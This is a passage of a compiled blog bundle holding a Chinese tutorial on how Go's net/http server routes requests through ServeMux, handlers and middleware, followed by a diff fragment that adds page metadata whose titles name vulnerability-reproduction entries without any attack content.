*Request)\n"})}),"\n",(0,s.jsx)(n.p,{children:"Handler\u63a5\u53e3\u5e94\u8be5\u7b97\u662fserver.go\u4e2d\u6700\u5173\u952e\u7684\u63a5\u53e3\u4e86\uff0c\u5982\u679c\u6211\u4eec\u4ed4\u7ec6\u770b\u8fd9\u4e2a\u6587\u4ef6\u7684\u6e90\u4ee3\u7801\uff0c\u5c06\u4f1a\u53d1\u73b0\u5f88\u591a\u7ed3\u6784\u4f53\u5b9e\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3\u7684ServeHTTP\u65b9\u6cd5\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\u8fd9\u4e2a\u63a5\u53e3\u7684\u6ce8\u91ca\uff1aHandler\u54cd\u5e94HTTP\u8bf7\u6c42\u3002\u6ca1\u9519\uff0c\u6700\u7ec8\u6211\u4eec\u7684http\u670d\u52a1\u662f\u901a\u8fc7\u5b9e\u73b0ServeHTTP(ResponseWriter, *Request)\u6765\u8fbe\u5230\u670d\u52a1\u7aef\u63a5\u6536\u5ba2\u6237\u7aef\u8bf7\u6c42\u5e76\u54cd\u5e94\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7406\u89e3 HTTP \u6784\u5efa\u7684\u7f51\u7edc\u5e94\u7528\u53ea\u8981\u5173\u6ce8\u4e24\u4e2a\u7aef---\u5ba2\u6237\u7aef\uff08Clinet\uff09\u548c\u670d\u52a1\u7aef\uff08Server\uff09\uff0c\u4e24\u4e2a\u7aef\u7684\u4ea4\u4e92\u6765\u81ea Clinet \u7684 Request\uff0c\u4ee5\u53caServer\u7aef\u7684Response\u3002HTTP\u670d\u52a1\u5668\uff0c\u4e3b\u8981\u5728\u4e8e\u5982\u4f55\u63a5\u53d7 Clinet\u7aef\u7684 Request\uff0cServer\u7aef\u5411Client\u7aef\u8fd4\u56deResponse\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u90a3\u8fd9\u4e2a\u8fc7\u7a0b\u662f\u4ec0\u4e48\u6837\u7684\u5462\uff1f\u8981\u8bb2\u6e05\u695a\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u8fd8\u9700\u8981\u56de\u5230\u5f00\u59cb\u7684HTTP\u670d\u52a1\u5668\u7a0b\u5e8f\u3002\u8fd9\u91cc\u4ee5\u524d\u9762\u6211\u4eec\u4e86\u89e3\u5230\u7684http Request\u3001http Response\u3001http Client\u4f5c\u4e3a\u57fa\u7840\uff0c\u5e76\u91cd\u70b9\u5206\u6790server.go\u6e90\u4ee3\u7801\u624d\u80fd\u8bb2\u6e05\u695a\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func main() {\n http.HandleFunc("/", myfunc)\n http.ListenAndServe(":8080", nil)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u4ee5\u4e0a\u4e24\u884c\u4ee3\u7801\uff0c\u5c31\u6210\u529f\u542f\u52a8\u4e86\u4e00\u4e2aHTTP\u670d\u52a1\u5668\u3002\u6211\u4eec\u901a\u8fc7net/http \u5305\u6e90\u4ee3\u7801\u5206\u6790\u53d1\u73b0\uff0c\u8c03\u7528Http.HandleFunc\uff0c\u6309\u987a\u5e8f\u505a\u4e86\u51e0\u4ef6\u4e8b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:"1.Http.HandleFunc\u8c03\u7528\u4e86DefaultServeMux\u7684HandleFunc"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"func HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {\n DefaultServeMux.HandleFunc(pattern, handler)\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"2.DefaultServeMux.HandleFunc\u8c03\u7528\u4e86DefaultServeMux\u7684Handle\uff0cDefaultServeMux\u662f\u4e00\u4e2aServeMux \u6307\u9488\u53d8\u91cf\u3002\u800cServeMux \u662fGo\u8bed\u8a00\u4e2d\u7684Multiplexer\uff08\u591a\u8def\u590d\u7528\u5668\uff09\uff0c\u901a\u8fc7Handle\u5339\u914dpattern \u548c\u6211\u4eec\u5b9a\u4e49\u7684handler\uff08\u5176\u5b9e\u5c31\u662fhttp.HandlerFunc\u51fd\u6570\u7c7b\u578b\u53d8\u91cf\uff09\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"var DefaultServeMux = &defaultServeMux\nvar defaultServeMux ServeMux\n\nfunc (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {\n mux.Handle(pattern, HandlerFunc(handler))\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1a \u4e0a\u9762\u7684\u65b9\u6cd5\u547d\u540dHandle\uff0cHandleFunc\u548cHandlerFunc\uff0cHandler\uff08\u63a5\u53e3\uff09\uff0c\u4ed6\u4eec\u5f88\u76f8\u4f3c\uff0c\u5bb9\u6613\u6df7\u6dc6\u3002\u8bb0\u4f4fHandle\u548cHandleFunc\u548cpattern \u5339\u914d\u6709\u5173\uff0c\u4e5f\u5373\u5f80DefaultServeMux\u7684map[string]muxEntry\u4e2d\u589e\u52a0\u5bf9\u5e94\u7684handler\u548c\u8def\u7531\u89c4\u5219\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u63a5\u7740\u6211\u4eec\u770b\u770bmyfunc\u7684\u58f0\u660e\u548c\u5b9a\u4e49\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u800c",(0,s.jsx)(n.code,{children:"type HandlerFunc func(ResponseWriter, *Request) "}),"\u662f\u4e00\u4e2a\u51fd\u6570\u7c7b\u578b\uff0c\u800c\u6211\u4eec\u5b9a\u4e49\u7684myfunc\u7684\u51fd\u6570\u7b7e\u540d\u521a\u597d\u7b26\u5408\u8fd9\u4e2a\u51fd\u6570\u7c7b\u578b\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6240\u4ee5",(0,s.jsx)(n.code,{children:'http.HandleFunc("/", myfunc)'}),"\uff0c\u5b9e\u9645\u4e0a\u662f",(0,s.jsx)(n.code,{children:'mux.Handle("/", HandlerFunc(myfunc))'}),"\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"HandlerFunc(myfunc) \u8ba9myfunc\u6210\u4e3a\u4e86HandlerFunc\u7c7b\u578b\uff0c\u6211\u4eec\u79f0myfunc\u4e3ahandler\u3002\u800cHandlerFunc\u7c7b\u578b\u662f\u5177\u6709ServeHTTP\u65b9\u6cd5\u7684\uff0c\u800c\u6709\u4e86ServeHTTP\u65b9\u6cd5\u4e5f\u5c31\u662f\u5b9e\u73b0\u4e86Handler\u63a5\u53e3\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {\n f(w, r) // \u8fd9\u76f8\u5f53\u4e8e\u81ea\u8eab\u7684\u8c03\u7528\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u73b0\u5728ServeMux\u548cHandler\u90fd\u548c\u6211\u4eec\u7684myfunc\u8054\u7cfb\u4e0a\u4e86\uff0cmyfunc\u662f\u4e00\u4e2aHandler\u63a5\u53e3\u53d8\u91cf\u4e5f\u662fHandlerFunc\u7c7b\u578b\u53d8\u91cf\uff0c\u63a5\u4e0b\u6765\u548c\u7ed3\u6784\u4f53server\u6709\u5173\u4e86\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4ecehttp.ListenAndServe\u7684\u6e90\u7801\u53ef\u4ee5\u770b\u51fa\uff0c\u5b83\u521b\u5efa\u4e86\u4e00\u4e2aserver\u5bf9\u8c61\uff0c\u5e76\u8c03\u7528server\u5bf9\u8c61\u7684ListenAndServe\u65b9\u6cd5\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"func ListenAndServe(addr string, handler Handler) error {\n server := &Server{Addr: addr, Handler: handler}\n return server.ListenAndServe()\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u800c\u6211\u4eecHTTP\u670d\u52a1\u5668\u4e2d\u7b2c\u4e8c\u884c\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'http.ListenAndServe(":8080", nil)\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u521b\u5efa\u4e86\u4e00\u4e2aserver\u5bf9\u8c61\uff0c\u5e76\u8c03\u7528server\u5bf9\u8c61\u7684ListenAndServe\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6ca1\u6709\u76f4\u63a5\u4f20\u9012Handler\uff0c\u800c\u662f\u9ed8\u8ba4\u4f7f\u7528DefautServeMux\u4f5c\u4e3amultiplexer\uff0cmyfunc\u662f\u5b58\u5728\u4e8ehandler\u548c\u8def\u7531\u89c4\u5219\u4e2d\u7684\u3002"}),"\n",(0,s.jsx)(n.p,{children:"Server\u7684ListenAndServe\u65b9\u6cd5\u4e2d\uff0c\u4f1a\u521d\u59cb\u5316\u76d1\u542c\u5730\u5740Addr\uff0c\u540c\u65f6\u8c03\u7528Listen\u65b9\u6cd5\u8bbe\u7f6e\u76d1\u542c\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"for {\n rw, e := l.Accept()\n ...\n c := srv.newConn(rw)\nc.setState(c.rwc, StateNew) \ngo c.serve(ctx)\n}\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u76d1\u542c\u5f00\u542f\u4e4b\u540e\uff0c\u4e00\u65e6\u5ba2\u6237\u7aef\u8bf7\u6c42\u8fc7\u6765\uff0cGo\u5c31\u5f00\u542f\u4e00\u4e2a\u534f\u7a0bgo c.serve(ctx)\u5904\u7406\u8bf7\u6c42\uff0c\u4e3b\u8981\u903b\u8f91\u90fd\u5728serve\u65b9\u6cd5\u4e4b\u4e2d\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["func (c *conn) serve(ctx context.Context)\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5f88\u957f\uff0c\u91cc\u9762\u4e3b\u8981\u7684\u4e00\u53e5\uff1a",(0,s.jsx)(n.code,{children:"serverHandler{c.server}.ServeHTTP(w, w.req)"}),"\u3002\u5176\u4e2dw\u7531w, err := c.readRequest(ctx)\u5f97\u5230\uff0c\u56e0\u4e3a\u6709\u4f20\u9012context\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u8fd8\u662f\u6765\u770b\u6e90\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'type serverHandler struct {\nsrv *Server\n}\n\nfunc (sh serverHandler) ServeHTTP(rw ResponseWriter, req Request) {\nhandler := sh.srv.Handler\nif handler == nil {\nhandler = DefaultServeMux\n}\nif req.RequestURI == "" && req.Method == "OPTIONS" {\nhandler = globalOptionsHandler{}\n}\nhandler.ServeHTTP(rw, req)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:'\u4ecehttp.ListenAndServe(":8080", nil)\u5f00\u59cb\uff0chandler\u662fnil\uff0c\u6240\u4ee5\u6700\u540e\u5b9e\u9645ServeHTTP\u65b9\u6cd5\u662fDefaultServeMux.ServeHTTP(rw, req)\u3002'}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {\n if r.RequestURI == "*" {\n if r.ProtoAtLeast(1, 1) {\n w.Header().Set("Connection", "close")\n }\n w.WriteHeader(StatusBadRequest)\n return\n }\n h, _ := mux.Handler(r)\n h.ServeHTTP(w, r)\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u901a\u8fc7func (mux ",(0,s.jsx)(n.em,{children:"ServeMux) Handler(r"}),' Request) (h Handler, pattern string)\uff0c\u6211\u4eec\u5f97\u5230Handler h\uff0c\u7136\u540e\u6267\u884ch.ServeHTTP(w, r)\u65b9\u6cd5\uff0c\u4e5f\u5c31\u662f\u6267\u884c\u6211\u4eec\u7684myfunc\u51fd\u6570\uff08\u522b\u5fd8\u4e86myfunc\u662fHandlerFunc\u7c7b\u578b\uff0c\u800c\u4ed6\u7684ServeHTTP(w, r)\u65b9\u6cd5\u8fd9\u91cc\u5176\u5b9e\u5c31\u662f\u81ea\u5df1\u8c03\u7528\u81ea\u5df1\uff09\uff0c\u628aresponse\u5199\u5230http.ResponseWriter\u5bf9\u8c61\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\uff0cfmt.Fprintf(w, "hi")\uff0c\u6211\u4eec\u5728\u5ba2\u6237\u7aef\u4f1a\u63a5\u6536\u5230hi \u3002\u81f3\u6b64\u6574\u4e2aHTTP\u670d\u52a1\u6267\u884c\u5b8c\u6210\u3002']}),"\n",(0,s.jsx)(n.p,{children:"\u603b\u7ed3\u4e0b\uff0cHTTP\u670d\u52a1\u6574\u4e2a\u8fc7\u7a0b\u5927\u6982\u662f\u8fd9\u6837\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:"Request -> ServeMux(Multiplexer) -> handler-> Response\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u518d\u770b\u4e0b\u9762\u4ee3\u7801\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'http.ListenAndServe(":8080", nil)\nfunc ListenAndServe(addr string, handler Handler) error {\n server := &Server{Addr: addr, Handler: handler}\n return server.ListenAndServe()\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0a\u9762\u4ee3\u7801\u5b9e\u9645\u4e0a\u5c31\u662fserver.ListenAndServe()\u6267\u884c\u7684\u5b9e\u9645\u6548\u679c\uff0c\u53ea\u4e0d\u8fc7\u7b80\u5355\u58f0\u660e\u4e86\u4e00\u4e2a\u7ed3\u6784\u4f53",(0,s.jsx)(n.code,{children:"Server{Addr: addr, Handler: handler}"}),"\u5b9e\u4f8b\u3002\u5982\u679c\u6211\u4eec\u58f0\u660e\u4e00\u4e2aServer\u5b9e\u4f8b\uff0c\u5b8c\u5168\u53ef\u4ee5\u8fbe\u5230\u6df1\u5ea6\u81ea\u5b9a\u4e49 http.Server\u7684\u76ee\u7684\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "fmt"\n "net/http"\n)\n\nfunc myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n\nfunc main() {\n // \u66f4\u591ahttp.Server\u7684\u5b57\u6bb5\u53ef\u4ee5\u6839\u636e\u60c5\u51b5\u521d\u59cb\u5316\n server := http.Server{\n Addr: ":8080",\n ReadTimeout: 0,\n WriteTimeout: 0,\n }\n http.HandleFunc("/", myfunc)\n server.ListenAndServe()\n}\n\n\u8fd9\u6837\u670d\u52a1\u4e5f\u80fd\u8dd1\u8d77\u6765\uff0c\u800c\u4e14\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u6839\u636e\u60c5\u51b5\u6765\u81ea\u5b9a\u4e49\u6211\u4eec\u7684Server\uff01\n\n\u8fd8\u53ef\u4ee5\u6307\u5b9aServemux\u7684\u7528\u6cd5:\n\nGOPATH\\src\\go42\\chapter-15\\15.3\\7\\main.go\n\npackage main\n\nimport (\n "fmt"\n "net/http"\n)\n\nfunc myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n\nfunc main() {\n mux := http.NewServeMux()\n\n mux.HandleFunc("/", myfunc)\n http.ListenAndServe(":8080", mux)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5982\u679c\u65e2\u6307\u5b9aServemux\u53c8\u81ea\u5b9a\u4e49 http.Server\uff0c\u56e0\u4e3aServer\u4e2d\u6709\u5b57\u6bb5Handler\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u628aServemux\u53d8\u91cf\u4f5c\u4e3aServer.Handler\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "fmt"\n "net/http"\n)\n\nfunc myfunc(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintf(w, "hi")\n}\n\nfunc main() {\n server := http.Server{\n Addr: ":8080",\n ReadTimeout: 0,\n WriteTimeout: 0,\n }\n mux := http.NewServeMux()\n server.Handler = mux\n\n mux.HandleFunc("/", myfunc)\n server.ListenAndServe()\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u524d\u9762pprof \u5305\u7684\u5185\u5bb9\u4e2d\u6211\u4eec\u4e5f\u7528\u4e86\u672c\u7ae0\u5f00\u5934\u8fd9\u6bb5\u4ee3\u7801\uff0c\u5f53\u6211\u4eec\u8bbf\u95ee",(0,s.jsx)(n.a,{href:"http://localhost:8080/debug/pprof/",children:"http://localhost:8080/debug/pprof/"}),' \u65f6\u53ef\u4ee5\u770b\u5230\u5bf9\u5e94\u7684\u6027\u80fd\u5206\u6790\u62a5\u544a\u3002 \u56e0\u4e3a\u6211\u4eec\u8fd9\u6837\u5bfc\u5165 _"net/http/pprof" \u5305\u65f6\uff0c\u5728\u6587\u4ef6 pprof.go \u6587\u4ef6\u4e2dinit \u51fd\u6570\u5df2\u7ecf\u5b9a\u4e49\u597d\u4e86handler\uff1a']}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func init() {\n http.HandleFunc("/debug/pprof/", Index)\n http.HandleFunc("/debug/pprof/cmdline", Cmdline)\n http.HandleFunc("/debug/pprof/profile", Profile)\n http.HandleFunc("/debug/pprof/symbol", Symbol)\n http.HandleFunc("/debug/pprof/trace", Trace)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u6240\u4ee5\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u4e0a\u9762\u5730\u5740\u6765\u770b\u5230\u62a5\u544a\u3002\u73b0\u5728\u518d\u6765\u770b\u8fd9\u4e9b\u4ee3\u7801\uff0c\u6211\u4eec\u5c31\u660e\u767d\u600e\u4e48\u56de\u4e8b\u4e86\uff01"}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668custom-handlers",children:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668\uff08Custom Handlers\uff09"}),"\n",(0,s.jsx)(n.p,{children:"\u81ea\u5b9a\u4e49\u7684Handler\uff1a"}),"\n",(0,s.jsx)(n.p,{children:"\u6807\u51c6\u5e93http\u63d0\u4f9b\u4e86Handler\u63a5\u53e3\uff0c\u7528\u4e8e\u5f00\u53d1\u8005\u5b9e\u73b0\u81ea\u5df1\u7684handler\u3002\u53ea\u8981\u5b9e\u73b0\u63a5\u53e3\u7684ServeHTTP\u65b9\u6cd5\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "log"\n "net/http"\n "time"\n)\n\ntype timeHandler struct {\n format string\n}\n\nfunc (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n tm := time.Now().Format(th.format)\n w.Write([]byte("The time is: " + tm))\n}\n\nfunc main() {\n mux := http.NewServeMux()\n\n th := &timeHandler{format: time.RFC1123}\n mux.Handle("/time", th)\n\n log.Println("Listening...")\n http.ListenAndServe(":3000", mux)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u77e5\u9053\uff0cNewServeMux\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2aServeMux\u5b9e\u4f8b\uff0cServeMux\u540c\u65f6\u4e5f\u5b9e\u73b0\u4e86ServeHTTP\u65b9\u6cd5\uff0c\u56e0\u6b64\u4ee3\u7801\u4e2d\u7684mux\u4e5f\u662f\u4e00\u79cdhandler\u3002\u628a\u5b83\u5f53\u6210\u53c2\u6570\u4f20\u7ed9http.ListenAndServe\u65b9\u6cd5\uff0c\u540e\u8005\u4f1a\u628amux\u4f20\u7ed9Server\u5b9e\u4f8b\u3002\u56e0\u4e3a\u6307\u5b9a\u4e86handler\uff0c\u56e0\u6b64\u6574\u4e2ahttp\u670d\u52a1\u5c31\u4e0d\u518d\u662fDefaultServeMux\uff0c\u800c\u662fmux\uff0c\u65e0\u8bba\u662f\u5728\u6ce8\u518c\u8def\u7531\u8fd8\u662f\u63d0\u4f9b\u8bf7\u6c42\u670d\u52a1\u7684\u65f6\u5019\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u4efb\u4f55\u6709 func(http.ResponseWriter\uff0c*http.Request) \u7b7e\u540d\u7684\u51fd\u6570\u90fd\u80fd\u8f6c\u5316\u4e3a\u4e00\u4e2a HandlerFunc \u7c7b\u578b\u3002\u8fd9\u5f88\u6709\u7528\uff0c\u56e0\u4e3a HandlerFunc \u5bf9\u8c61\u5185\u7f6e\u4e86 ServeHTTP \u65b9\u6cd5\uff0c\u540e\u8005\u53ef\u4ee5\u806a\u660e\u53c8\u65b9\u4fbf\u7684\u8c03\u7528\u6211\u4eec\u6700\u521d\u63d0\u4f9b\u7684\u51fd\u6570\u5185\u5bb9\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668",children:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'package main\n\nimport (\n "log"\n "net/http"\n "time"\n)\n\nfunc timeHandler(w http.ResponseWriter, r *http.Request) {\n tm := time.Now().Format(time.RFC1123)\n w.Write([]byte("The time is: " + tm))\n}\n\nfunc main() {\n mux := http.NewServeMux()\n\n // Convert the timeHandler function to a HandlerFunc type\n th := http.HandlerFunc(timeHandler)\n // And add it to the ServeMux\n mux.Handle("/time", th)\n\n log.Println("Listening...")\n http.ListenAndServe(":3000", mux)\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u521b\u5efa\u65b0\u7684server\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func index(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("Content-Type", "text/html")\n\n html := `<doctype html>\n <html>\n <head>\n <title>Hello World\n \n \n

\n Welcome\n

\n \n`\n fmt.Fprintln(w, html)\n}\n\nfunc main(){\n http.HandleFunc("/", index)\n\n server := &http.Server{\n Addr: ":8000", \n ReadTimeout: 60 * time.Second, \n WriteTimeout: 60 * time.Second, \n }\n server.ListenAndServe()\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u4e2d\u95f4\u4ef6middleware",children:"\u4e2d\u95f4\u4ef6Middleware"}),"\n",(0,s.jsx)(n.p,{children:"\u6240\u8c13\u4e2d\u95f4\u4ef6\uff0c\u5c31\u662f\u8fde\u63a5\u4e0a\u4e0b\u7ea7\u4e0d\u540c\u529f\u80fd\u7684\u51fd\u6570\u6216\u8005\u8f6f\u4ef6\uff0c\u901a\u5e38\u8fdb\u884c\u4e00\u4e9b\u5305\u88f9\u51fd\u6570\u7684\u884c\u4e3a\uff0c\u4e3a\u88ab\u5305\u88f9\u51fd\u6570\u63d0\u4f9b\u6dfb\u52a0\u4e00\u4e9b\u529f\u80fd\u6216\u884c\u4e3a\u3002\u524d\u6587\u7684HandleFunc\u5c31\u80fd\u628a\u7b7e\u540d\u4e3a func(w http.ResponseWriter, r *http.Reqeust)\u7684\u51fd\u6570\u5305\u88f9\u6210handler\u3002\u8fd9\u4e2a\u51fd\u6570\u4e5f\u7b97\u662f\u4e2d\u95f4\u4ef6\u3002"}),"\n",(0,s.jsx)(n.p,{children:"Go\u7684http\u4e2d\u95f4\u4ef6\u5f88\u7b80\u5355\uff0c\u53ea\u8981\u5b9e\u73b0\u4e00\u4e2a\u51fd\u6570\u7b7e\u540d\u4e3afunc(http.Handler) http.Handler\u7684\u51fd\u6570\u5373\u53ef\u3002http.Handler\u662f\u4e00\u4e2a\u63a5\u53e3\uff0c\u63a5\u53e3\u65b9\u6cd5\u6211\u4eec\u719f\u6089\u7684\u4e3aserveHTTP\u3002\u8fd4\u56de\u4e5f\u662f\u4e00\u4e2ahandler\u3002\u56e0\u4e3aGo\u4e2d\u7684\u51fd\u6570\u4e5f\u53ef\u4ee5\u5f53\u6210\u53d8\u91cf\u4f20\u9012\u6216\u8005\u6216\u8005\u8fd4\u56de\uff0c\u56e0\u6b64\u4e5f\u53ef\u4ee5\u5728\u4e2d\u95f4\u4ef6\u51fd\u6570\u4e2d\u4f20\u9012\u5b9a\u4e49\u597d\u7684\u51fd\u6570\uff0c\u53ea\u8981\u8fd9\u4e2a\u51fd\u6570\u662f\u4e00\u4e2ahandler\u5373\u53ef\uff0c\u5373\u5b9e\u73b0\u6216\u8005\u88abhandlerFunc\u5305\u88f9\u6210\u4e3ahandler\u5904\u7406\u5668\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Go",children:'func index(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("Content-Type", "text/html")\n\n html := `\n \n \n Hello World\n \n \n

\n Welcome\n

\n \n`\n fmt.Fprintln(w, html)\n}\n\nfunc middlewareHandler(next http.Handler) http.Handler{\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){\n // \u6267\u884chandler\u4e4b\u524d\u7684\u903b\u8f91\n next.ServeHTTP(w, r)\n // \u6267\u884c\u5b8c\u6bd5handler\u540e\u7684\u903b\u8f91\n })\n}\n\nfunc loggingHandler(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n start := time.Now()\n log.Printf("Started %s %s", r.Method, r.URL.Path)\n next.ServeHTTP(w, r)\n log.Printf("Completed %s in %v", r.URL.Path, time.Since(start))\n })\n}\n\nfunc main() {\n http.Handle("/", loggingHandler(http.HandlerFunc(index)))\n\n http.ListenAndServe(":8000", nil)\n}\n'})})]})}function p(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(c,{...e})}):c(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>d,x:()=>i});var t=r(96540);const s={},l=t.createContext(s);function d(e){const n=t.useContext(l);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:d(e.components),t.createElement(l.Provider,{value:n},e.children)}},43268:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/hello-fad9ba7343b4d8ae8e8f478597c0a1d2.png"}}]); \ No newline at end of file diff --git a/en/assets/js/86d74ba7.89dc8595.js b/en/assets/js/86d74ba7.89dc8595.js new file mode 100644 index 0000000..2ca65dd --- /dev/null +++ b/en/assets/js/86d74ba7.89dc8595.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3120],{28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>o});var s=n(96540);const i={},r=s.createContext(i);function l(e){const t=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:l(e.components),s.createElement(r.Provider,{value:t},e.children)}},48166:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>l,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","title":"CVE-2022-38352","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/04.CVE-2022-38352.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/04.CVE-2022-38352.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce"},"next":{"title":"privilege-escalation-1.6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6"}}');var i=n(74848),r=n(28453);const 